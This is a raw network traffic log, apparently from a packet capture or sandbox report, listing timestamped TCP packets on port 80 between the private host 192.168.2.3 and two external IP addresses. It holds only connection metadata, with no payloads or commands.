Jan 14, 2022 02:05:28.003715038 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.003724098 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.003750086 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.003786087 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.003799915 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.003818989 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.003854990 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.003861904 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.003890991 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.003926039 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.003941059 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.003961086 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.003995895 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004005909 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.004040956 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004079103 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004086971 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.004115105 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004149914 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004156113 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.004184961 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004218102 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004228115 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.004252911 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004287958 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004297972 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.004323006 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004359961 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004375935 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.004393101 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004427910 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004441977 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.004468918 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004503012 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004524946 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.004538059 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004574060 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004582882 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.004606962 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004642963 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.004661083 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.046528101 CET	80	49763	54.38.220.85	192.168.2.3
Jan 14, 2022 02:05:28.046617031 CET	49763	80	192.168.2.3	54.38.220.85
Jan 14, 2022 02:05:28.070348024 CET	49763	80	192.168.2.3	54.38.220.85
Jan 14, 2022 02:05:28.079587936 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.079619884 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.079643965 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.079667091 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.079668999 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.079689980 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.079711914 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.079714060 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.079740047 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.079752922 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.079770088 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.079785109 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.079794884 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.079817057 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.079839945 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.079852104 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.079863071 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.079883099 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.079884052 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.079907894 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.079926014 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.079930067 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.079953909 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.079968929 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.079979897 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080003023 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080020905 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.080025911 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080048084 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080070019 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080071926 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.080092907 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080116034 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080116034 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.080138922 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080157995 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.080163002 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080183983 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080205917 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080207109 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.080229044 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080250025 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080260038 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.080272913 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080296040 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080296993 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.080317974 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080338001 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.080341101 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080360889 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080384016 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080385923 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.080406904 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080424070 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.080430031 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080452919 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080467939 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.080475092 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080497026 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080519915 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080521107 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.080542088 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080564976 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080566883 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.080586910 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080604076 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.080607891 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080630064 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.080657959 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.089700937 CET	80	49763	54.38.220.85	192.168.2.3
Jan 14, 2022 02:05:28.146688938 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.155725956 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.155780077 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.155819893 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.155846119 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.155859947 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.155900002 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.155911922 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.155936003 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.155987978 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.155988932 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.156039000 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156078100 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156089067 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.156115055 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156152964 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156161070 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.156193972 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156229973 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156241894 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.156267881 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156306028 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156316042 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.156344891 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156383991 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156389952 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.156419992 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156457901 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156464100 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.156496048 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156539917 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.156543970 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156584024 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156620026 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156627893 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.156660080 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156698942 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156704903 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.156735897 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156773090 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156778097 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.156810999 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156847000 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156857014 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.156884909 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156922102 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156932116 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.156960011 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.156999111 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.157004118 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.157037020 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.157074928 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.157080889 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.157114029 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.157149076 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.157162905 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.157187939 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.157224894 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.157233953 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.157263041 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.157301903 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.157319069 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.157336950 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.157376051 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.157386065 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.157413006 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.157448053 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.157460928 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.157485962 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.157533884 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.221749067 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.221775055 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.221833944 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.232474089 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232496977 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232510090 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232522964 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232542038 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232558966 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232575893 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232578993 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.232592106 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232609987 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232619047 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.232625961 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232640982 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.232641935 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232659101 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232675076 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232698917 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.232729912 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.232755899 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232803106 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.232836962 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232853889 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232871056 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232887030 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232898951 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.232903004 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232919931 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232923031 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.232934952 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232950926 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232965946 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232978106 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.232981920 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.232997894 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233007908 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.233014107 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233028889 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.233030081 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233046055 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233061075 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233067036 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.233077049 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233092070 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233094931 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.233107090 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233118057 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.233123064 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233139038 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233154058 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233165026 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.233169079 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233185053 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233197927 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.233200073 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233216047 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233222961 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.233232021 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233242035 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.233248949 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233263969 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233275890 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.233278990 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233295918 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233309984 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.233310938 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233326912 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.233334064 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.233381033 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.296936989 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.296997070 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297036886 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297058105 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.297080040 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297120094 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297122955 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.297163963 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297203064 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297209024 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.297240973 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297280073 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297282934 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.297318935 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297358036 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297369003 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.297398090 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297435045 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297445059 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.297472954 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297511101 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297517061 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.297549009 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297586918 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297594070 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.297626972 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297666073 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297683001 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.297705889 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297743082 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297751904 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.297780991 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297820091 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297825098 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.297888041 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297924995 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.297935009 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.297965050 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.298002005 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.298015118 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.298041105 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.298083067 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.298088074 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.298120022 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.298157930 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.298162937 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.298196077 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.298232079 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.298240900 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.298269987 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.298309088 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.298311949 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.298367023 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.298408031 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.298422098 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.298444033 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.298492908 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.307651043 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.307706118 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.307745934 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.307763100 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.307785034 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.307821989 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.307826996 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.307862043 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.307900906 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.307909012 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.307940006 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.307977915 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.307985067 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.308017015 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308058023 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308060884 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.308098078 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308135033 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308145046 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.308173895 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308212996 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308218002 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.308250904 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308290958 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308295012 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.308331013 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308372021 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308382988 CET	49895	80	192.168.2.3	141.8.194.74
